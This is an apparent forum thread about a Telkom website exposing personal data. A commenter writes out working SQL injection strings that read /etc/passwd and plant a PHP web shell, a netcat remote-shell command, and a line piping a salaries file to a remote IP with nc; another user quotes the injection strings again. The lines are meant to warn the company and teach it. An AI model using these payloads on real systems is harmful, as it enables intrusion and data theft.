Telkom website exposes personal information

[MagicDude4Eva]

'We' didn't decide to put it in like that, we logged the defect, highlighted the risk to management, and *they* decided it should go in with the defect.

(In actual fact we recommended against the entire project in favour of focusing on another project that will replace all the apps with a single portal which supports modern SSO, but that project is now even further off because of time lost on this 'quick win').

I think there is a difference between a defect which introduces degraded functionality and knowingly introducing a vulnerability. I suppose you have proper change management process in place and either your CAB did not understand the implications or it was not properly explained.

The original design was for POST to prevent the credentials showing in the URL, but apparently the servlet api doesn't support something that was required to get the POST approach to work.

Then your framework or inhouse developed code is wrong. If a servlet is "not written" to accept GET and POST, you already have a fundamental problem here.

I am not a developer, but shouldn't same-origin and http-only on the session cookies prevent XSS?

No, it is a misconception that CORS is will protect you from attacks. In your scenario it is quite easy to do a simple SQL injection attack which allows an attacker to exploit your framework and inject javascript code into your database. When the data is rendered back to the browser (it is running now same-origin), the attacker will be able to steal any users session data, cookies etc. Once you have been exposed with XSS, content will be served from the same CORS origin.

All filesystems writeable by the web tier are mounted no-exec.

You are misguided - an attacker does not need to have exec permissions on a file system - two examples:

If the backend runs MySQL, the load_file function allows me to load any external file as long as I have permission. In most cases HTTPD is run as root, so this is easy:

/backend.php?id=1' UNION select 2, load_file("/etc/passwd")'

An attacker will also attempt to exploit your app and attempt to write to the file-system - like this:

/backend.php?id=1' UNION select 2, "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/uploads/c.php

and then http://YOURSERVER/uploads/c.php?cmd=ls -l /

None of the above is very difficult. A script-kiddie will use sqlmap and just run a targeted SLI attack. A more sophisticated hacker will not even use those tools. I think your IT-/development-team needs to undergo some serious application security training.

From what I have seen, your system was severely compromised and you might not even know what was taken. I would honestly be more concerned about this and would have taken more dramatic measures (i.e. taking the system down until you are absolutely certain that you can offer secure transactions).

As a head start I suggest get your technical team to read through the OWASP top 10 (https://www.owasp.org/index.php/Top_10_2013-Top_10) - in your case you fail at least 8 out of the 10 which is highly concerning.

 

[km2]

Huh MagicDude4Eva, the escalation of an SQL injection attack using the DB's built-in helper functions is really interesting. Had always thought of SQL injection as being limited to straightforward data retrieval.

 

[icyrus]

Huh MagicDude4Eva, the escalation of an SQL injection attack using the DB's built-in helper functions is really interesting. Had always thought of SQL injection as being limited to straightforward data retrieval.

If someone is running their database server or web server as root they are incompetent.

 

[icyrus]

You are misguided - an attacker does not need to have exec permissions on a file system - two examples:

If the backend runs MySQL, the load_file function allows me to load any external file as long as I have permission. In most cases HTTPD is run as root, so this is easy:

/backend.php?id=1' UNION select 2, load_file("/etc/passwd")'

An attacker will also attempt to exploit your app and attempt to write to the file-system - like this:

/backend.php?id=1' UNION select 2, "<?php system($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/uploads/c.php

and then http://YOURSERVER/uploads/c.php?cmd=ls -l /

How are either of those examples relevant to the Telkom situation?

 

[km2]

If someone is running their database server or web server as root they are incompetent.

Yeah, I'm not counting on the root thing so much as I'm thinking of someone messing up with one world-writeable directory somewhere in the PHP executable area. Maybe they make an "images" folder that needs to be updated by the http-user as well as the regular SFTP account and they just 777 it. It opens up a whole lot more potential weaknesses.

 

[MagicDude4Eva]

Huh MagicDude4Eva, the escalation of an SQL injection attack using the DB's built-in helper functions is really interesting. Had always thought of SQL injection as being limited to straightforward data retrieval.

There are many ways. MsSQL has xp_cmdshell (which is disabled by default). In Oracle it is "DBMS_SCHEDULER.create_program" and while DBA's and Linux admins can harden the system, in most cases a simple SLI will bypass all of it

I have watched pen-testers exploit production hardened systems via SLI into a procedures owned by a system account, escalate privileges and then execute OS code within a few hours - the hardest part is finding the SLI, but once you have execute permissions and a Linux admin has netcat installed, it is game over. For the uninformed, netcat is a network tool, but you can run this and you will have a "remote shell" on the target system:

nc -l -p 6666 -e /bin/bash OR nc -l -p 6666 -e cmd.exe

Or once you found that Payroll server with Excel files you don't need a FTP/SFTP connection to get the data

type ExcoSalaries.xls | nc ###.###.###.### 6666

 

[Turgon]

As much as those are good practices, in reality in a big corporate that isn't always possible. Sometimes you just have to make it work, even if it isn't optimal and hope that it can be fixed later.

Since my idealism seems to increase with age, I'd argue (particularly in cases like OT) that this is entirely unacceptable, and immediately tags the corporate decision makers as Plainly Evil.

Beware, lowly employees, of becoming complicit by default.

Our lives are being played with, in a rigged game of risk. Utterly expendable pawns on the grand chess-table. Muggles the lot of us.

http://harrypotter.wikia.com/wiki/Magic_is_Might_statue

http://vignette3.wikia.nocookie.net..._statue.JPG/revision/latest?cb=20110401003026

 

[Thor]

Could you please elaborate on this, because I really can't think of any scenario where it would be technically impossible(or even challenging) to implement POST instead of GET.

+¹²0

If your api can't accept post then you have a much bigger issue than you think or your hiding it.